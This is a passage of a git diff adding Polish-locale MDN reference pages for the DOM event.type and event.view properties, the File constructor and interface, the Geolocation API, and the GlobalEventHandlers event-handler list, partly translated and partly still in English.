href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-Event-type">type</a></p> +<p>{{ languages( { "en": "en/DOM/event.type" } ) }}</p> diff --git a/files/pl/web/api/event/view/index.html b/files/pl/web/api/event/view/index.html new file mode 100644 index 0000000000..57af70a587 --- /dev/null +++ b/files/pl/web/api/event/view/index.html @@ -0,0 +1,23 @@ +--- +title: event.view +slug: Web/API/Event/view +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/UIEvent/view +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Atrybut <b>view</b> identyfikuje widok (interfejs AbstractView), w którym wygenerowane zostało zdarzenie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>referencjaDoAbstractView</i> = event.view +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>referencjaDoAbstractView</code> to rerefencja do obiektu AbstractView.</li> +</ul> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-UIEvent-view">view</a></p> +<p>{{ languages( { "en": "en/DOM/event.view" } ) }}</p> diff --git a/files/pl/web/api/file/file/index.html b/files/pl/web/api/file/file/index.html new file mode 100644 index 0000000000..0a1525bdc8 --- /dev/null +++ b/files/pl/web/api/file/file/index.html @@ -0,0 +1,68 @@ +--- +title: File.File() +slug: Web/API/File/File +tags: + - API +translation_of: Web/API/File/File +--- +<p>{{APIRef("File")}}</p> + +<p>Konstruktor <code><strong>File()</strong></code> tworzy nową instancję obiektu {{domxref("File")}}.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">File(bity, nazwa [, opcje]);</pre> + +<h3 id="Parameters">Parameters</h3> + +<dl> + <dt><em>bity</em></dt> + <dd>{{jsxref("Array")}} (Tablica) obiektów {{jsxref("ArrayBuffer")}}, {{domxref("ArrayBufferView")}}, {{domxref("Blob")}} lub {{domxref("DOMString")}} — albo miks takich obiektów. Zawartość pliku jest zakodowana w UTF-8.</dd> + <dt><em>nazwa</em></dt> + <dd>Obiekt {domxref("USVString")}} reprezentujący nazwę pliku albo ścieżkę do niego.</dd> + <dt><em>opcje</em> {{optional_inline}}</dt> + <dd>Obiekt opcji, który zawiera opcjonalne atrybuty pliku. Dostępne są następujące możliwości: + <ul> + <li><code>type</code>: (typ) - Obiekt {{domxref("DOMString")}} reprezentujący typ MIME zawartości pliku. Domyślnie <code>"".</code></li> + <li><code>lastModified</code>: (ostatnio modyfikowany) Liczba reprezentująca liczbę milisekund pomiędzy Unix time epoch i datą ostatniej modyfikacji pliku. Domyślnie - wartość {{jsxref("Date.now()")}}.</li> + </ul> + </dd> +</dl> + +<h2 id="Przykład">Przykład</h2> + +<pre class="brush: js">var plik = new File(["foo"], "foo.txt", { + type: "text/plain", +});</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('File API')}}</td> + <td>{{Spec2('File API')}}</td> + <td>Podstawowa definicja</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_między_przeglądarkami">Kompatybilność między przeglądarkami</h2> + +<div> + + +<p>{{Compat("api.File.File")}}</p> +</div> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{domxref("FileReader")}}</li> + <li>{{domxref("Blob")}}</li> +</ul> diff --git a/files/pl/web/api/file/index.html b/files/pl/web/api/file/index.html new file mode 100644 index 0000000000..50caf5366b --- /dev/null +++ b/files/pl/web/api/file/index.html @@ -0,0 +1,112 @@ +--- +title: File +slug: Web/API/File +tags: + - API + - File API + - Interface + - NeedsTranslation + - Reference + - TopicStub + - Web +translation_of: Web/API/File +--- +<div>{{APIRef}}</div> + +<p>The <strong><code>File</code></strong> interface provides information about files and allows JavaScript in a web page to access their content.</p> + +<p><code>File</code> objects are generally retrieved from a {{domxref("FileList")}} object returned as a result of a user selecting files using the {{HTMLElement("input")}} element, from a drag and drop operation's {{domxref("DataTransfer")}} object, or from the <code>mozGetAsFile()</code> API on an {{domxref("HTMLCanvasElement")}}. In Gecko, privileged code can create <code>File</code> objects representing any local file without user interaction (see {{anch("Implementation notes")}} for more information.)</p> + +<p>A <code>File</code> object is a specific kind of a {{domxref("Blob")}}, and can be used in any context that a Blob can. In particular, {{domxref("FileReader")}}, {{domxref("URL.createObjectURL()")}}, {{domxref("ImageBitmapFactories.createImageBitmap()", "createImageBitmap()")}}, and {{domxref("XMLHttpRequest", "", "send()")}} accept both <code>Blob</code>s and <code>File</code>s.</p> + +<p>See <a href="/en-US/docs/Using_files_from_web_applications">Using files from web applications</a> for more information and examples.</p> + +<p>{{InheritanceDiagram}}</p> + +<h2 id="Constructor">Constructor</h2> + +<dl> + <dt>{{domxref("File.File", "File()")}}</dt> + <dd>Returns a newly constructed <code>File</code>.</dd> +</dl> + +<h2 id="Properties">Properties</h2> + +<dl> + <dt>{{domxref("File.lastModified")}} {{readonlyinline}}</dt> + <dd>Returns the last modified time of the file, in millisecond since the UNIX epoch (January 1st, 1970 at Midnight).</dd> + <dt>{{domxref("File.lastModifiedDate")}} {{readonlyinline}} {{deprecated_inline}} {{gecko_minversion_inline("15.0")}}</dt> + <dd>Returns the last modified <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></code> of the file referenced by the <code>File</code> object.</dd> + <dt>{{domxref("File.name")}} {{readonlyinline}}</dt> + <dd>Returns the name of the file referenced by the <code>File</code> object.</dd> + <dt>{{domxref("File.webkitRelativePath")}} {{readonlyinline}} {{non-standard_inline}}</dt> + <dd>Returns the path the URL of the {{domxref("File")}} is relative to.</dd> +</dl> + +<p><code>File</code> implements {{domxref("Blob")}}, so it also has the following properties available to it:</p> + +<dl> + <dt>{{domxref("File.size")}} {{readonlyinline}}</dt> + <dd>Returns the size of the file in bytes.</dd> + <dt>{{domxref("File.type")}} {{readonlyinline}}</dt> + <dd>Returns the <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME </a>type of the file.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>The <code>File</code> interface doesn't define any methods, but inherits methods from the {{domxref("Blob")}} interface:</em></p> + +<dl> + <dt>{{domxref("Blob.slice()", "Blob.slice([start[, end[, contentType]]])")}}</dt> + <dd>Returns a new <code>Blob</code> object containing the data in the specified range of bytes of the source <code>Blob</code>.</dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('File API')}}</td> + <td>{{Spec2('File API')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("api.File")}}</p> +</div> + +<p> </p> + +<h3 id="Implementation_notes">Implementation notes</h3> + +<ul> + <li>In Gecko, you can use this API from within chrome code. See <a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">Using the DOM File API in chrome code</a> for details. To use it from chrome code, JSM, and Bootstrap scope, you have to import it using <code><a href="/en-US/docs/Components.utils.importGlobalProperties">Cu.importGlobalProperties</a>(['File']);</code></li> + <li>Starting from Gecko 6.0 {{geckoRelease("6.0")}}, privileged code (such as extensions) can pass an {{interface("nsIFile")}} object to the DOM <code>File</code> constructor to specify the file to reference.</li> + <li>Starting from Gecko 8.0 {{geckoRelease("8.0")}}, you can use <code>new File</code> to create <code>File</code> objects from XPCOM component code instead of having to instantiate the {{interface("nsIDOMFile")}} object directly. The constructor takes, in contrast to {{domxref("Blob")}}, as second argument the filename. The filename can be any String. + <pre class="syntaxbox">new File( + Array parts, + String filename, + BlobPropertyBag properties +);</pre> + </li> + <li>The following non-standard properties and methods were removed in Gecko 7 {{geckoRelease("7.0")}}: {{domxref("File.fileName")}}, {{domxref("File.fileSize")}}, {{domxref("File.getAsBinary()")}}, {{domxref("File.getAsDataURL()")}}, {{domxref("File.getAsText()","File.getAsText(string encoding)")}} ({{bug("661876")}}). Standard properties {{domxref("File.name")}}, {{domxref("Blob.size")}}, and methods on {{domxref("FileReader")}} should be used instead.</li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/File/Using_files_from_web_applications">Using files from web applications</a></li> + <li>{{domxref("FileReader")}}</li> + <li><a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">Using the DOM File API in chrome code</a> (for privileged code running in Gecko, such as Firefox add-ons)</li> +</ul> diff --git a/files/pl/web/api/geolocation_api/index.html b/files/pl/web/api/geolocation_api/index.html new file mode 100644 index 0000000000..5b53252074 --- /dev/null +++ b/files/pl/web/api/geolocation_api/index.html @@ -0,0 +1,92 @@ +--- +title: Geolocation API +slug: Web/API/Geolocation_API +translation_of: Web/API/Geolocation_API +--- +<div>{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}</div> + +<p><strong>Geolokalizacja API</strong> umożliwia użytkownikowi zapewnić ich lokalizację do aplikacji internetowych, jeśli zechcą. Ze względów prywatności użytkownik jest proszony o zgodę na zgłoszenie informacji o lokalizacji.</p> + +<p>Rozszerzenia Web, które chcą korzystać z obiektu Geolokalizacja, muszą dodać <code>"geolocation"</code>uprawnienie do swojego manifestu. System operacyjny użytkownika poprosi użytkownika o zezwolenie na dostęp do lokalizacji przy pierwszym żądaniu.</p> + +<h2 id="Pojęcia_i_użycie">Pojęcia i użycie</h2> + +<p>Często będziesz chciał odzyskać informacje o lokalizacji użytkownika w swojej aplikacji internetowej, na przykład wykreślić jego lokalizację na mapie lub wyświetlić spersonalizowane informacje dotyczące ich lokalizacji.</p> + +<p>The Geolocation API is accessed via a call to {{domxref("Navigator.geolocation", "navigator.geolocation")}}; this will cause the user's browser to ask them for permission to access their location data. If they accept, then the browser will use the best available functionality on the device to access this information (for example, GPS).</p> + +<p>The developer can now access this location information in a couple of different ways:</p> + +<ul> + <li>{{domxref("Geolocation.getCurrentPosition()")}}: Retrieves the device's current location.</li> + <li>{{domxref("Geolocation.watchPosition()")}}: Registers a handler function that will be called automatically each time the position of the device changes, returning the updated location.</li> +</ul> + +<p>In both cases, the method call takes up to three arguments:</p> + +<ul> + <li>A mandatory success callback: If the location retrieval is successful, the callback executes with a {{domxref("GeolocationPosition")}} object as its only parameter, providing access to the location data.</li> + <li>An optional error callback: If the location retrieval is unsuccessful, the callback executes with a {{domxref("GeolocationPositionError")}} object as its only parameter, providing access information on what went wrong.</li> + <li>An optional {{domxref("PositionOptions")}} object, which provides options for retrieval of the position data.</li> +</ul> + +<p>For further information on Geolocation usage, read <a href="/en-US/docs/Web/API/Geolocation_API/Using_the_Geolocation_API">Using the Geolocation API</a>.</p> + +<h2 id="Interfaces">Interfaces</h2> + +<dl> + <dt>{{domxref("Geolocation")}}</dt> + <dd>The main class of this API — contains methods to retrieve the user's current position, watch for changes in their position, and clear a previously-set watch.</dd> + <dt>{{domxref("GeolocationPosition")}}</dt> + <dd>Represents the position of a user. A <code>GeolocationPosition</code> instance is returned by a successful call to one of the methods contained inside {{domxref("Geolocation")}}, inside a success callback, and contains a timestamp plus a {{domxref("GeolocationCoordinates")}} object instance.</dd> + <dt>{{domxref("GeolocationCoordinates")}}</dt> + <dd>Represents the coordinates of a user's position; a <code>GeolocationCoordinates</code> instance contains latitude, longitude, and other important related information.</dd> + <dt>{{domxref("GeolocationPositionError")}}</dt> + <dd>A <code>GeolocationPositionError</code> is returned by an unsuccessful call to one of the methods contained inside {{domxref("Geolocation")}}, inside an error callback, and contains an error code and message.</dd> + <dt>{{domxref("Navigator.geolocation")}}</dt> + <dd>The entry point into the API. Returns a {{domxref("Geolocation")}} object instance, from which all other functionality can be accessed.</dd> +</dl> + +<h2 id="Dictionaries">Dictionaries</h2> + +<dl> + <dt>{{domxref("PositionOptions")}}</dt> + <dd>Represents an object containing options to pass in as a parameter of {{domxref("Geolocation.getCurrentPosition()")}} and {{domxref("Geolocation.watchPosition()")}}.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<p>{{page("/en-US/docs/Web/API/Geolocation_API/Using_the_Geolocation_API","Examples")}}</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("Geolocation")}}</td> + <td>{{Spec2("Geolocation")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<p>{{Compat("api.Geolocation")}}</p> + +<h3 id="Dostępność">Dostępność</h3> + +<p>Ponieważ Google często zapewnia lokalizację w oparciu o Wi-Fi, waniliowy interfejs API geolokalizacji może być niedostępny w Chinach. Możesz korzystać z usług lokalnych dostawców zewnętrznych, takich jak <a href="http://lbsyun.baidu.com/index.php?title=jspopular/guide/geolocation">Baidu</a> , <a href="https://lbs.amap.com/api/javascript-api/guide/services/geolocation#geolocation">Autonavi</a> lub <a href="http://lbs.qq.com/tool/component-geolocation.html">Tencent</a> . Usługi te wykorzystują adres IP użytkownika i / lub lokalną aplikację do zapewnienia lepszego pozycjonowania.</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Geolocation_API/Using_the_Geolocation_API">Korzystanie z interfejsu API geolokalizacji</a></li> + <li><a href="https://www.w3.org/TR/geolocation-API/" rel="external">Interfejs API geolokalizacji na w3.org</a></li> + <li><a href="https://hacks.mozilla.org/2013/10/who-moved-my-geolocation/">Kto przeniósł moją geolokalizację? </a>(Hacks blog)</li> +</ul> diff --git a/files/pl/web/api/globaleventhandlers/index.html b/files/pl/web/api/globaleventhandlers/index.html new file mode 100644 index 0000000000..9238474923 --- /dev/null +++ b/files/pl/web/api/globaleventhandlers/index.html @@ -0,0 +1,714 @@ +--- +title: GlobalEventHandlers +slug: Web/API/GlobalEventHandlers +tags: + - API + - DOM + - GlobalEventHandlers + - HTML DOM + - Mixin + - NeedsTranslation + - Reference + - TopicStub + - events +translation_of: Web/API/GlobalEventHandlers +--- +<div>{{ApiRef("HTML DOM")}}</div> + +<p>The <strong><code>GlobalEventHandlers</code></strong> mixin describes the event handlers common to several interfaces like {{domxref("HTMLElement")}}, {{domxref("Document")}}, or {{domxref("Window")}}. Each of these interfaces can, of course, add more event handlers in addition to the ones listed below.</p> + +<div class="note"> +<p><strong>Note</strong>: <code>GlobalEventHandlers</code> is a mixin and not an interface; you can't actually create an object of type <code>GlobalEventHandlers</code>.</p> +</div> + +<h2 id="Properties_2">Properties</h2> + +<p><em>This interface doesn't include any properties except for the event handlers listed below.</em></p> + +<h3 id="Event_handlers">Event handlers</h3> + +<p>These event handlers are defined on the {{domxref("GlobalEventHandlers")}} mixin, and implemented by {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}}, as well as by {{domxref("WorkerGlobalScope")}} for Web Workers.</p> + +<div id="Properties"> +<dl> + <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("abort")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onanimationcancel")}} {{Non-standard_inline}}</dt> + <dd>An {{domxref("EventHandler")}} called when an {{event("animationcancel")}} event is sent, indicating that a running <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS animation</a> has been canceled.</dd> + <dt>{{domxref("GlobalEventHandlers.onanimationend")}} {{Non-standard_inline}}</dt> + <dd>An {{domxref("EventHandler")}} called when an {{event("animationend")}} event is sent, indicating that a <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS animation</a> has stopped playing.</dd> + <dt>{{domxref("GlobalEventHandlers.onanimationiteration")}} {{Non-standard_inline}}</dt> + <dd>An {{domxref("EventHandler")}} called when an {{event("animationiteration")}} event has been sent, indicating that a <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS animation</a> has begun playing a new iteration of the animation sequence.</dd> + <dt>{{domxref("GlobalEventHandlers.onanimationstart")}} {{Non-standard_inline}}</dt> + <dd>An {{domxref("EventHandler")}} called when an {{event("animationstart")}} event is sent, indicating that a <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS animation</a> has started playing.</dd> + <dt>{{domxref("GlobalEventHandlers.onauxclick")}} {{Non-standard_inline}}</dt> + <dd>An {{domxref("EventHandler")}} called when an {{event("auxclick")}} event is sent, indicating that a non-primary button has been pressed on an input device (e.g. a middle mouse button).</dd> + <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("blur")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt> + <dd>Is an {{domxref("OnErrorEventHandler")}} representing the code to be called when the {{event("error")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("focus")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.oncancel")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("cancel")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.oncanplay")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("canplay")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.oncanplaythrough")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("canplaythrough")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("change")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("click")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("close")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("contextmenu")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.oncuechange")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("cuechange")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dblclick")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.ondrag")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("drag")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.ondragend")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragend")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.ondragenter")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragenter")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.ondragexit")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragexit")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.ondragleave")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragleave")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.ondragover")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragover")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.ondragstart")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragstart")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.ondrop")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("drop")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.ondurationchange")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("durationchange")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onemptied")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("emptied")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onended")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("ended")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.ongotpointercapture")}}</dt> + <dd> + <p>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("gotpointercapture")}} event type is raised.</p> + </dd> + <dt>{{domxref("GlobalEventHandlers.oninput")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("input")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.oninvalid")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("invalid")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keydown")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keypress")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keyup")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onload")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("load")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onloadeddata")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadeddata")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onloadedmetadata")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadedmetadata")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onloadend")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadend")}} event is raised (when progress has stopped on the loading of a resource.)</dd> + <dt>{{domxref("GlobalEventHandlers.onloadstart")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadstart")}} event is raised (when progress has begun on the loading of a resource.)</dd> + <dt>{{domxref("GlobalEventHandlers.onlostpointercapture")}}</dt> + <dd> + <p>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("lostpointercapture")}} event type is raised.</p> + </dd> + <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousedown")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onmouseenter")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseenter")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onmouseleave")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseleave")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousemove")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseout")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseover")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseup")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onmousewheel")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousewheel")}} event is raised.</dd> + <dt>{{ domxref("GlobalEventHandlers.onwheel") }}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("wheel")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onpause")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pause")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onplay")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("play")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onplaying")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("playing")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onpointerdown")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerdown")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onpointermove")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointermove")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onpointerup")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerup")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onpointercancel")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointercancel")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onpointerover")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerover")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onpointerout")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerout")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onpointerenter")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerevent")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onpointerleave")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerleave")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onpointerlockchange")}} {{experimental_inline}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerlockchange")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onpointerlockerror")}} {{experimental_inline}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerlockerror")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onprogress")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("progress")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onratechange")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("ratechange")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("reset")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("scroll")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onseeked")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("seeked")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onseeking")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("seeking")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("select")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onselectstart")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised, i.e. when the user starts to make a new text selection on a web page.</dd> + <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised, i.e. when the text selected on a web page changes.</dd> + <dt>{{domxref("GlobalEventHandlers.onshow")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("show")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onsort")}} {{experimental_inline}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("sort")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onstalled")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("stalled")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("submit")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onsuspend")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("suspend")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.ontimeupdate")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("timeupdate")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onvolumechange")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("volumechange")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.ontouchcancel")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("touchcancel")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.ontouchend")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("touchend")}} event is raised.</dd> + 